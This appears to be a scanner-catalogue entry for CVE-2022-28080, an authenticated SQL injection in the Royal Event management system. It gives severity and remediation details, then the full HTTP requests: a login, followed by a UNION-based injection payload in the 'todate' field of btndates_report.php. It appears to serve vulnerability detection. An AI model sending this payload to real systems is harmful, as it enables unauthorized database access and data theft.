| Title | Royal Event - SQL Injection |
|---|---|
| Author | lucasljm2001,ekrause,ritikchaddha |
| Severity | High |
| Impact | Successful exploitation of this vulnerability can lead to unauthorized access, data leakage, and potential compromise of the entire database. |
| Remediation | To remediate this vulnerability, input validation and parameterized queries should be implemented to prevent SQL Injection attacks. |
| CVSS Score | 8.8 |
| EPSS Score | 0.7711 |
| CVE ID | CVE-2022-28080 |
| CWE ID | CWE-89 |
| Tags | cve cve2022 royalevent edb sqli authenticated cms intrusive event_management_system_project vuln |
Royal Event is vulnerable to a SQL injection vulnerability.
POST /royal_event/ HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:1.9.6.20) Gecko/ Firefox/3.8
Connection: close
Content-Length: 338
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryCSxQll1eihcqgIgD
Accept-Encoding: gzip
------WebKitFormBoundaryCSxQll1eihcqgIgD
Content-Disposition: form-data; name="username"
hhEXrr
------WebKitFormBoundaryCSxQll1eihcqgIgD
Content-Disposition: form-data; name="password"
ln4eSY
------WebKitFormBoundaryCSxQll1eihcqgIgD
Content-Disposition: form-data; name="login"
------WebKitFormBoundaryCSxQll1eihcqgIgD--
POST /royal_event/btndates_report.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:139.0) Gecko/20100101 Firefox/139.0
Connection: close
Content-Length: 485
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryFboH5ITu7DsGIGrD
Accept-Encoding: gzip
------WebKitFormBoundaryFboH5ITu7DsGIGrD
Content-Disposition: form-data; name="todate"
1' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(md5("38F8fpi9jk5HqQqnBoPtBBBAtT3"),0x1,0x2),NULL-- -
------WebKitFormBoundaryFboH5ITu7DsGIGrD
Content-Disposition: form-data; name="search"
3
------WebKitFormBoundaryFboH5ITu7DsGIGrD
Content-Disposition: form-data; name="fromdate"
01/01/2011
------WebKitFormBoundaryFboH5ITu7DsGIGrD--
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-28080.yaml
🦈 Packet Capture: ⬇️ Download cve-2022-28080.pcap
N/AN/A